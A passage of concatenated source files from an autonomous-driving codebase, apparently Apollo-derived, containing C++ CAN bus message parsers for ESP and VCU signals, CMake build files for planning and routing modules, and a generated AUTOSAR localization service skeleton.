'physical_range': '[0|1]', 'bit': 7, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_vcu_hmi_0x358_358::Vcu_icm_veh_errType vcu_icm_veh_err(const std::uint8_t* bytes, const int32_t length) const; }; } // namespace teshun } // namespace canbus } // namespace jmc_auto #endif // MODULES_CANBUS_VEHICL_TESHUN_PROTOCOL_GW_VCU_HMI_0X358_358_H_ <file_sep>include_directories(${PROJECT_SOURCE_DIR}) include_directories(${CMAKE_CURRENT_BINARY_DIR}) add_library(edge_creator edge_creator.cc edge_creator.h) target_link_libraries(edge_creator common map_proto routing_gflags routing_proto) add_library(graph_creator graph_creator.cc graph_creator.h) target_link_libraries(graph_creator edge_creator node_creator common util opendrive_adapter map_proto routing_proto) add_library(node_creator node_creator.cc node_creator.h) target_link_libraries(node_creator common map_proto routing_gflags routing_proto) <file_sep>/* * Copyright (c) Huawei Technologies Co., Ltd. 2012-2019. All rights reserved. * Generated by VRTF CM-Generator */ #ifndef jmc_auto_localizationserviceinterface_skeleton_h #define jmc_auto_localizationserviceinterface_skeleton_h #include "ara/com/internal/skeleton/SkeletonAdapter.h" #include "ara/com/internal/skeleton/EventAdapter.h" #include "ara/com/internal/skeleton/FieldAdapter.h" #include "jmc_auto/localizationserviceinterface_common.h" #include "impl_type_localization.h" #include <cstdint> namespace jmc_auto { namespace skeleton { namespace events { using LocalizationEvent = ara::com::internal::skeleton::event::EventAdapter<::Localization>; static constexpr ara::com::internal::EntityId LocalizationEventId = 63490; //LocalizationEvent_event_hash } namespace methods { } namespace fields { } class LocalizationServiceInterfaceSkeleton : public ara::com::internal::skeleton::SkeletonAdapter { public: explicit LocalizationServiceInterfaceSkeleton(ara::com::InstanceIdentifier instanceId, ara::com::MethodCallProcessingMode mode = ara::com::MethodCallProcessingMode::kEvent) :ara::com::internal::skeleton::SkeletonAdapter(::jmc_auto::LocalizationServiceInterface::ServiceIdentifier, instanceId, mode), LocalizationEvent(GetSkeleton(), events::LocalizationEventId) { } LocalizationServiceInterfaceSkeleton(const LocalizationServiceInterfaceSkeleton&) = delete; LocalizationServiceInterfaceSkeleton& operator=(const LocalizationServiceInterfaceSkeleton&) = delete; LocalizationServiceInterfaceSkeleton(LocalizationServiceInterfaceSkeleton&& other) = default; LocalizationServiceInterfaceSkeleton& operator=(LocalizationServiceInterfaceSkeleton&& other) = default; virtual ~LocalizationServiceInterfaceSkeleton() { ara::com::internal::skeleton::SkeletonAdapter::StopOfferService(); } void OfferService() { InitializeEvent(LocalizationEvent); ara::com::internal::skeleton::SkeletonAdapter::OfferService(); } events::LocalizationEvent LocalizationEvent; }; } // namespace skeleton } // namespace jmc_auto #endif // jmc_auto_localizationserviceinterface_skeleton_h <file_sep>/****************************************************************************** * Copyright 2017 The jmc_auto Authors. All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. *****************************************************************************/ #include "modules/canbus/vehicle/cx75/protocol/esp_direction_0x235_235.h" #include "glog/logging.h" #include "modules/drivers/canbus/common/byte.h" #include "modules/drivers/canbus/common/canbus_consts.h" namespace jmc_auto { namespace canbus { namespace cx75 { using ::jmc_auto::drivers::canbus::Byte; Espdirection0x235235::Espdirection0x235235() {} const int32_t Espdirection0x235235::ID = 0x235; void Espdirection0x235235::Parse(const std::uint8_t* bytes, int32_t length, ChassisDetail* chassis) const { chassis->mutable_cx75()->mutable_esp_direction_0x235_235()->set_esp_whlmilgrearre(esp_whlmilgrearre(bytes, length)); chassis->mutable_cx75()->mutable_esp_direction_0x235_235()->set_esp_frwheeldrivedirstatus(esp_frwheeldrivedirstatus(bytes, length)); chassis->mutable_cx75()->mutable_esp_direction_0x235_235()->set_esp_flwheeldrivedirstatus(esp_flwheeldrivedirstatus(bytes, length)); chassis->mutable_cx75()->mutable_esp_direction_0x235_235()->set_esp_rrwheeldrivedirstatus(esp_rrwheeldrivedirstatus(bytes, length)); chassis->mutable_cx75()->mutable_esp_direction_0x235_235()->set_esp_rlwheeldrivedirstatus(esp_rlwheeldrivedirstatus(bytes, length)); chassis->mutable_cx75()->mutable_esp_direction_0x235_235()->set_esp_rrwheeldrivedirection(esp_rrwheeldrivedirection(bytes, length)); chassis->mutable_cx75()->mutable_esp_direction_0x235_235()->set_esp_rlwheeldrivedirection(esp_rlwheeldrivedirection(bytes, length)); chassis->mutable_cx75()->mutable_esp_direction_0x235_235()->set_esp_frwheeldrivedirection(esp_frwheeldrivedirection(bytes, length)); chassis->mutable_cx75()->mutable_esp_direction_0x235_235()->set_esp_flwheeldrivedirection(esp_flwheeldrivedirection(bytes, length)); chassis->mutable_cx75()->mutable_esp_direction_0x235_235()->set_rolling_counter_0x235(rolling_counter_0x235(bytes, length)); chassis->mutable_cx75()->mutable_esp_direction_0x235_235()->set_esp_whlmilgrearlestatus(esp_whlmilgrearlestatus(bytes, length)); chassis->mutable_cx75()->mutable_esp_direction_0x235_235()->set_esp_whlmilgrearristatus(esp_whlmilgrearristatus(bytes, length)); chassis->mutable_cx75()->mutable_esp_direction_0x235_235()->set_esp_vehiclestandstill(esp_vehiclestandstill(bytes, length)); chassis->mutable_cx75()->mutable_esp_direction_0x235_235()->set_checksum_0x235(checksum_0x235(bytes, length)); chassis->mutable_cx75()->mutable_esp_direction_0x235_235()->set_esp_whlmilgrearle(esp_whlmilgrearle(bytes, length)); } // config detail: {'name': 'esp_whlmilgrearre', 'offset': 0.0, 'precision': 1.0, 'len': 16, 'is_signed_var': False, 'physical_range': '[0|65535]', 'bit': 23, 'type': 'int', 'order': 'motorola', 'physical_unit': 'edge'} int Espdirection0x235235::esp_whlmilgrearre(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 2); int32_t x = t0.get_byte(0, 8); Byte t1(bytes + 3); int32_t t = t1.get_byte(0, 8); x <<= 8; x |= t; int ret = x; return ret; } // config detail: {'name': 'esp_frwheeldrivedirstatus', 'enum': {0: 'ESP_FRWHEELDRIVEDIRSTATUS_VALID', 1: 'ESP_FRWHEELDRIVEDIRSTATUS_INVALID'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 32, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Esp_direction_0x235_235::Esp_frwheeldrivedirstatusType Espdirection0x235235::esp_frwheeldrivedirstatus(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 4); int32_t x = t0.get_byte(0, 1); Esp_direction_0x235_235::Esp_frwheeldrivedirstatusType ret = static_cast<Esp_direction_0x235_235::Esp_frwheeldrivedirstatusType>(x); return ret; } // config detail: {'name': 'esp_flwheeldrivedirstatus', 'enum': {0: 'ESP_FLWHEELDRIVEDIRSTATUS_VALID', 1: 'ESP_FLWHEELDRIVEDIRSTATUS_INVALID'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 33, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Esp_direction_0x235_235::Esp_flwheeldrivedirstatusType Espdirection0x235235::esp_flwheeldrivedirstatus(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 4); int32_t x = t0.get_byte(1, 1); Esp_direction_0x235_235::Esp_flwheeldrivedirstatusType ret = static_cast<Esp_direction_0x235_235::Esp_flwheeldrivedirstatusType>(x); return ret; } // config detail: {'name': 'esp_rrwheeldrivedirstatus', 'enum': {0: 'ESP_RRWHEELDRIVEDIRSTATUS_VALID', 1: 'ESP_RRWHEELDRIVEDIRSTATUS_INVALID'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 34, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Esp_direction_0x235_235::Esp_rrwheeldrivedirstatusType Espdirection0x235235::esp_rrwheeldrivedirstatus(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 4); int32_t x = t0.get_byte(2, 1); Esp_direction_0x235_235::Esp_rrwheeldrivedirstatusType ret = static_cast<Esp_direction_0x235_235::Esp_rrwheeldrivedirstatusType>(x); return ret; } // config detail: {'name': 'esp_rlwheeldrivedirstatus', 'enum': {0: 'ESP_RLWHEELDRIVEDIRSTATUS_VALID', 1: 'ESP_RLWHEELDRIVEDIRSTATUS_INVALID'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 35, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Esp_direction_0x235_235::Esp_rlwheeldrivedirstatusType Espdirection0x235235::esp_rlwheeldrivedirstatus(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 4); int32_t x = t0.get_byte(3, 1); Esp_direction_0x235_235::Esp_rlwheeldrivedirstatusType ret = static_cast<Esp_direction_0x235_235::Esp_rlwheeldrivedirstatusType>(x); return ret; } // config detail: {'name': 'esp_rrwheeldrivedirection', 'enum': {0: 'ESP_RRWHEELDRIVEDIRECTION_UNDEFINED', 1: 'ESP_RRWHEELDRIVEDIRECTION_STANDSTILL', 2: 'ESP_RRWHEELDRIVEDIRECTION_FORWARD', 3: 'ESP_RRWHEELDRIVEDIRECTION_BACKWARD'}, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|3]', 'bit': 41, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Esp_direction_0x235_235::Esp_rrwheeldrivedirectionType Espdirection0x235235::esp_rrwheeldrivedirection(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 5); int32_t x = t0.get_byte(0, 2); Esp_direction_0x235_235::Esp_rrwheeldrivedirectionType ret = static_cast<Esp_direction_0x235_235::Esp_rrwheeldrivedirectionType>(x); return ret; } // config detail: {'name': 'esp_rlwheeldrivedirection', 'enum': {0: 'ESP_RLWHEELDRIVEDIRECTION_UNDEFINED', 1: 'ESP_RLWHEELDRIVEDIRECTION_STANDSTILL', 2: 'ESP_RLWHEELDRIVEDIRECTION_FORWARD', 3: 'ESP_RLWHEELDRIVEDIRECTION_BACKWARD'}, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|3]', 'bit': 43, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Esp_direction_0x235_235::Esp_rlwheeldrivedirectionType Espdirection0x235235::esp_rlwheeldrivedirection(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 5); int32_t x = t0.get_byte(2, 2); Esp_direction_0x235_235::Esp_rlwheeldrivedirectionType ret = static_cast<Esp_direction_0x235_235::Esp_rlwheeldrivedirectionType>(x); return ret; } // config detail: {'name': 'esp_frwheeldrivedirection', 'enum': {0: 'ESP_FRWHEELDRIVEDIRECTION_UNDEFINED', 1: 'ESP_FRWHEELDRIVEDIRECTION_STANDSTILL', 2: 'ESP_FRWHEELDRIVEDIRECTION_FORWARD', 3: 'ESP_FRWHEELDRIVEDIRECTION_BACKWARD'}, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|3]', 'bit': 45, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Esp_direction_0x235_235::Esp_frwheeldrivedirectionType Espdirection0x235235::esp_frwheeldrivedirection(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 5); int32_t x = t0.get_byte(4, 2); Esp_direction_0x235_235::Esp_frwheeldrivedirectionType ret = static_cast<Esp_direction_0x235_235::Esp_frwheeldrivedirectionType>(x); return ret; } // config detail: {'name': 'esp_flwheeldrivedirection', 'enum': {0: 'ESP_FLWHEELDRIVEDIRECTION_UNDEFINED', 1: 'ESP_FLWHEELDRIVEDIRECTION_STANDSTILL', 2: 'ESP_FLWHEELDRIVEDIRECTION_FORWARD', 3: 'ESP_FLWHEELDRIVEDIRECTION_BACKWARD'}, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|3]', 'bit': 47, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Esp_direction_0x235_235::Esp_flwheeldrivedirectionType Espdirection0x235235::esp_flwheeldrivedirection(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 5); int32_t x = t0.get_byte(6, 2); Esp_direction_0x235_235::Esp_flwheeldrivedirectionType ret = static_cast<Esp_direction_0x235_235::Esp_flwheeldrivedirectionType>(x); return ret; } // config detail: {'name': 'rolling_counter_0x235', 'offset': 0.0, 'precision': 1.0, 'len': 4, 'is_signed_var': False, 'physical_range': '[0|15]', 'bit': 51, 'type': 'int', 'order': 'motorola', 'physical_unit': ''} int Espdirection0x235235::rolling_counter_0x235(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 6); int32_t x = t0.get_byte(0, 4); int ret = x; return ret; } // config detail: {'name': 'esp_whlmilgrearlestatus', 'enum': {0: 'ESP_WHLMILGREARLESTATUS_VALID', 1: 'ESP_WHLMILGREARLESTATUS_INVALID'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 52, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Esp_direction_0x235_235::Esp_whlmilgrearlestatusType Espdirection0x235235::esp_whlmilgrearlestatus(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 6); int32_t x = t0.get_byte(4, 1); Esp_direction_0x235_235::Esp_whlmilgrearlestatusType ret = static_cast<Esp_direction_0x235_235::Esp_whlmilgrearlestatusType>(x); return ret; } // config detail: {'name': 'esp_whlmilgrearristatus', 'enum': {0: 'ESP_WHLMILGREARRISTATUS_VALID', 1: 'ESP_WHLMILGREARRISTATUS_INVALID'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 53, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Esp_direction_0x235_235::Esp_whlmilgrearristatusType Espdirection0x235235::esp_whlmilgrearristatus(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 6); int32_t x = t0.get_byte(5, 1); Esp_direction_0x235_235::Esp_whlmilgrearristatusType ret = static_cast<Esp_direction_0x235_235::Esp_whlmilgrearristatusType>(x); return ret; } // config detail: {'name': 'esp_vehiclestandstill', 'enum': {0: 'ESP_VEHICLESTANDSTILL_NOT_STANDSTILL', 1: 'ESP_VEHICLESTANDSTILL_STANDSTILL', 2: 'ESP_VEHICLESTANDSTILL_INVALID'}, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|3]', 'bit': 55, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Esp_direction_0x235_235::Esp_vehiclestandstillType Espdirection0x235235::esp_vehiclestandstill(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 6); int32_t x = t0.get_byte(6, 2); Esp_direction_0x235_235::Esp_vehiclestandstillType ret = static_cast<Esp_direction_0x235_235::Esp_vehiclestandstillType>(x); return ret; } // config detail: {'name': 'checksum_0x235', 'offset': 0.0, 'precision': 1.0, 'len': 8, 'is_signed_var': False, 'physical_range': '[0|255]', 'bit': 63, 'type': 'int', 'order': 'motorola', 'physical_unit': ''} int Espdirection0x235235::checksum_0x235(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 7); int32_t x = t0.get_byte(0, 8); int ret = x; return ret; } // config detail: {'name': 'esp_whlmilgrearle', 'offset': 0.0, 'precision': 1.0, 'len': 16, 'is_signed_var': False, 'physical_range': '[0|65535]', 'bit': 7, 'type': 'int', 'order': 'motorola', 'physical_unit': 'edge'} int Espdirection0x235235::esp_whlmilgrearle(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 0); int32_t x = t0.get_byte(0, 8); Byte t1(bytes + 1); int32_t t = t1.get_byte(0, 8); x <<= 8; x |= t; int ret = x; return ret; } } // namespace cx75 } // namespace canbus } // namespace jmc_auto <file_sep>include_directories(${PROJECT_SOURCE_DIR}) include_directories(${CMAKE_CURRENT_BINARY_DIR}) add_library(opendrive_adapter coordinate_convert_tool.cc opendrive_adapter.cc proto_organizer.cc xml_parser/header_xml_parser.cc xml_parser/junctions_xml_parser.cc xml_parser/lanes_xml_parser.cc xml_parser/objects_xml_parser.cc xml_parser/roads_xml_parser.cc xml_parser/signals_xml_parser.cc xml_parser/util_xml_parser.cc coordinate_convert_tool.h opendrive_adapter.h proto_organizer.h xml_parser/common_define.h xml_parser/header_xml_parser.h xml_parser/junctions_xml_parser.h xml_parser/lanes_xml_parser.h xml_parser/objects_xml_parser.h xml_parser/roads_xml_parser.h xml_parser/signals_xml_parser.h xml_parser/status.h xml_parser/util_xml_parser.h) target_link_libraries(opendrive_adapter jmcauto_log math status util map_proto proj4 tinyxml2) <file_sep>include_directories(${PROJECT_SOURCE_DIR}) include_directories(${CMAKE_CURRENT_BINARY_DIR}) add_library(rss_decider rss_decider.cc rss_decider.h) target_link_libraries(rss_decider /modules/common/status planning_context planning_gflags reference_line_info planning_proto /modules/planning/tasks:task ad_rss_lib//:ad_rss) <file_sep>include_directories(${PROJECT_SOURCE_DIR}) include_directories(${CMAKE_CURRENT_BINARY_DIR}) add_compile_options(-fPIC) add_subdirectory(adapters) add_subdirectory(configs) add_subdirectory(filters) add_subdirectory(kv_db) add_subdirectory(math) #add_subdirectory(monitor_log) add_subdirectory(proto) add_subdirectory(status) add_subdirectory(time) #add_subdirectory(transform_listener) add_subdirectory(util) add_subdirectory(vehicle_model) add_subdirectory(vehicle_state) add_library(common INTERFACE) target_link_libraries(common INTERFACE jmcauto_log macro macros) add_library(macro INTERFACE) add_library(macros INTERFACE) add_library(jmcauto_log INTERFACE) target_link_libraries(jmcauto_log INTERFACE glog) add_library(jmc_auto_app jmc_auto_app.cc jmc_auto_app.h) target_link_libraries(jmc_auto_app jmcauto_log status string_util)<file_sep>include_directories(${PROJECT_SOURCE_DIR}) include_directories(${CMAKE_CURRENT_BINARY_DIR}) add_library(st_bounds_decider st_bounds_decider.cc st_bounds_decider.h) target_link_libraries(st_bounds_decider st_driving_limits st_guide_line st_obstacles_processor /modules/common/status frame planning_gflags st_graph_data common_lib /modules/planning/tasks:task /modules/planning/tasks/deciders:decider_base) add_library(st_guide_line st_guide_line.cc st_guide_line.h) target_link_libraries(st_guide_line vehicle_config_helper vehicle_config_proto pnc_point_proto /modules/common/status /modules/map/pnc_map /modules/map/proto:map_proto frame obstacle path_decision planning_gflags speed_limit discretized_path frenet_frame_path path_data st_boundary discretized_trajectory planning_config_proto planning_proto speed_bounds_decider_config_proto /modules/planning/reference_line) add_library(st_driving_limits st_driving_limits.cc st_driving_limits.h) target_link_libraries(st_driving_limits vehicle_config_helper vehicle_config_proto pnc_point_proto /modules/common/status /modules/map/pnc_map /modules/map/proto:map_proto frame obstacle path_decision planning_gflags speed_limit discretized_path frenet_frame_path path_data st_boundary discretized_trajectory planning_config_proto planning_proto speed_bounds_decider_config_proto /modules/planning/reference_line) add_library(st_obstacles_processor st_obstacles_processor.cc st_obstacles_processor.h) target_link_libraries(st_obstacles_processor vehicle_config_helper vehicle_config_proto pnc_point_proto /modules/common/status /modules/map/pnc_map /modules/map/proto:map_proto frame history obstacle path_decision planning_gflags speed_limit discretized_path frenet_frame_path path_data st_boundary discretized_trajectory planning_config_proto planning_proto speed_bounds_decider_config_proto /modules/planning/reference_line) <file_sep>/* * Copyright (c) Huawei Technologies Co., Ltd. 2012-2019. All rights reserved. * Generated by VRTF CM-Generator */ #ifndef impl_type_double_h #define impl_type_double_h #include "base_type_std_double.h" typedef std_double Double; #endif // impl_type_double_h <file_sep>/****************************************************************************** * Copyright 2017 The JmcAuto Authors. All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. *****************************************************************************/ #ifndef MODULES_CANBUS_VEHICLE_TESHUN_PROTOCOL_GW_VCU_STS_0X218_218_H_ #define MODULES_CANBUS_VEHICLE_TESHUN_PROTOCOL_GW_VCU_STS_0X218_218_H_ #include "modules/drivers/canbus/can_comm/protocol_data.h" #include "modules/canbus/proto/chassis_detail.pb.h" namespace jmc_auto { namespace canbus { namespace teshun { class Gwvcusts0x218218 : public ::jmc_auto::drivers::canbus::ProtocolData< ::jmc_auto::canbus::ChassisDetail> { public: static const int32_t ID; Gwvcusts0x218218(); void Parse(const std::uint8_t* bytes, int32_t length, ChassisDetail* chassis) const override; private: // config detail: {'name': 'Checksum_0x218', 'offset': 0.0, 'precision': 1.0, 'len': 8, 'is_signed_var': False, 'physical_range': '[0|255]', 'bit': 63, 'type': 'int', 'order': 'motorola', 'physical_unit': ''} int checksum_0x218(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'Rolling_Counter_0x218', 'offset': 0.0, 'precision': 1.0, 'len': 4, 'is_signed_var': False, 'physical_range': '[0|15]', 'bit': 51, 'type': 'int', 'order': 'motorola', 'physical_unit': ''} int rolling_counter_0x218(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'VCU_NLockRequest', 'enum': {0: 'VCU_NLOCKREQUEST_NO_USE', 1: 'VCU_NLOCKREQUEST_LOCK', 2: 'VCU_NLOCKREQUEST_UNLOCK', 3: 'VCU_NLOCKREQUEST_INVALID'}, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|3]', 'bit': 53, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_vcu_sts_0x218_218::Vcu_nlockrequestType vcu_nlockrequest(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'VCU_PLockRequest', 'enum': {0: 'VCU_PLOCKREQUEST_NO_USE', 1: 'VCU_PLOCKREQUEST_LOCK', 2: 'VCU_PLOCKREQUEST_UNLOCK', 3: 'VCU_PLOCKREQUEST_INVALID'}, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|3]', 'bit': 55, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_vcu_sts_0x218_218::Vcu_plockrequestType vcu_plockrequest(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'VCU_Vehicle_Mode', 'enum': {1: 'VCU_VEHICLE_MODE_STANDBY_IG_OFF_MODE', 2: 'VCU_VEHICLE_MODE_VEHICLE_RESET_MODE', 3: 'VCU_VEHICLE_MODE_HV_ACTIVATION_MODE', 4: 'VCU_VEHICLE_MODE_DRIVING_MODE', 5: 'VCU_VEHICLE_MODE_HV_TERMINATION_MODE', 6: 'VCU_VEHICLE_MODE_CHARGING_MODE', 7: 'VCU_VEHICLE_MODE_RESERVED', 8: 'VCU_VEHICLE_MODE_EMER_DRIVING_MODE'}, 'precision': 1.0, 'len': 4, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|15]', 'bit': 39, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} //Gw_vcu_sts_0x218_218::Vcu_vehicle_modeType vcu_vehicle_mode(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'VCU_EngaddFuel_RQ', 'enum': {0: 'VCU_ENGADDFUEL_RQ_NO_RQ', 1: 'VCU_ENGADDFUEL_RQ_RQ'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 21, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_vcu_sts_0x218_218::Vcu_engaddfuel_rqType vcu_engaddfuel_rq(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'VCU_FAN_RQ', 'enum': {0: 'VCU_FAN_RQ_NO_RQ', 1: 'VCU_FAN_RQ_FAN_LOW_RQ', 4: 'VCU_FAN_RQ_FAN_HIGH_RQ'}, 'precision': 1.0, 'len': 3, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|7]', 'bit': 31, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_vcu_sts_0x218_218::Vcu_fan_rqType vcu_fan_rq(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'VCU_EngStart_RQ', 'enum': {0: 'VCU_ENGSTART_RQ_NO_RQ', 1: 'VCU_ENGSTART_RQ_RQ'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 28, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_vcu_sts_0x218_218::Vcu_engstart_rqType vcu_engstart_rq(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'VCU_DCU_ParkRequest', 'enum': {0: 'VCU_DCU_PARKREQUEST_OFF', 1: 'VCU_DCU_PARKREQUEST_PARK', 2: 'VCU_DCU_PARKREQUEST_UNPARK', 3: 'VCU_DCU_PARKREQUEST_INVALID'}, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|3]', 'bit': 44, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_vcu_sts_0x218_218::Vcu_dcu_parkrequestType vcu_dcu_parkrequest(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'VCU_ActualGearLevelPositionValid', 'enum': {0: 'VCU_ACTUALGEARLEVELPOSITIONVALID_VALID', 1: 'VCU_ACTUALGEARLEVELPOSITIONVALID_INVALID'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 32, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_vcu_sts_0x218_218::Vcu_actualgearlevelpositionvalidType vcu_actualgearlevelpositionvalid(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'VCU_ActualGearLevelPosition', 'enum': {0: 'VCU_ACTUALGEARLEVELPOSITION_INITIAL', 1: 'VCU_ACTUALGEARLEVELPOSITION_P_PARK', 2: 'VCU_ACTUALGEARLEVELPOSITION_R_REVERSE', 3: 'VCU_ACTUALGEARLEVELPOSITION_N_NEUTRAL', 4: 'VCU_ACTUALGEARLEVELPOSITION_D_DRIVE', 5: 'VCU_ACTUALGEARLEVELPOSITION_INVALID'}, 'precision': 1.0, 'len': 3, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|7]', 'bit': 47, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_vcu_sts_0x218_218::Vcu_actualgearlevelpositionType vcu_actualgearlevelposition(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'VCU_BMS_ChgStart_ALW', 'enum': {0: 'VCU_BMS_CHGSTART_ALW_FORBID', 1: 'VCU_BMS_CHGSTART_ALW_ALLOW'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 22, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_vcu_sts_0x218_218::Vcu_bms_chgstart_alwType vcu_bms_chgstart_alw(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'VCU_BMS_HVOnOff_REQ', 'enum': {0: 'VCU_BMS_HVONOFF_REQ_FORBID', 1: 'VCU_BMS_HVONOFF_REQ_ALLOW'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 23, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_vcu_sts_0x218_218::Vcu_bms_hvonoff_reqType vcu_bms_hvonoff_req(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'VCU_VehFailGrade_ERR', 'enum': {0: 'VCU_VEHFAILGRADE_ERR_NORMAL', 1: 'VCU_VEHFAILGRADE_ERR_LEVEL1', 2: 'VCU_VEHFAILGRADE_ERR_LEVEL2', 3: 'VCU_VEHFAILGRADE_ERR_LEVEL3'}, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|3]', 'bit': 25, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_vcu_sts_0x218_218::Vcu_vehfailgrade_errType vcu_vehfailgrade_err(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'VCU_Running_Mode', 'enum': {0: 'VCU_RUNNING_MODE_STANDBY', 1: 'VCU_RUNNING_MODE_EV_MODE', 2: 'VCU_RUNNING_MODE_HYBIRD_MODE'}, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|3]', 'bit': 27, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_vcu_sts_0x218_218::Vcu_running_modeType vcu_running_mode(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'VCU_BP_Sleep_Allowed', 'enum': {0: 'VCU_BP_SLEEP_ALLOWED_NOT_ALLOWED', 1: 'VCU_BP_SLEEP_ALLOWED_ALLOWED'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 33, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_vcu_sts_0x218_218::Vcu_bp_sleep_allowedType vcu_bp_sleep_allowed(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'VCU_HVIL_In', 'enum': {0: 'VCU_HVIL_IN_OFF', 1: 'VCU_HVIL_IN_ON'}, 'precision': 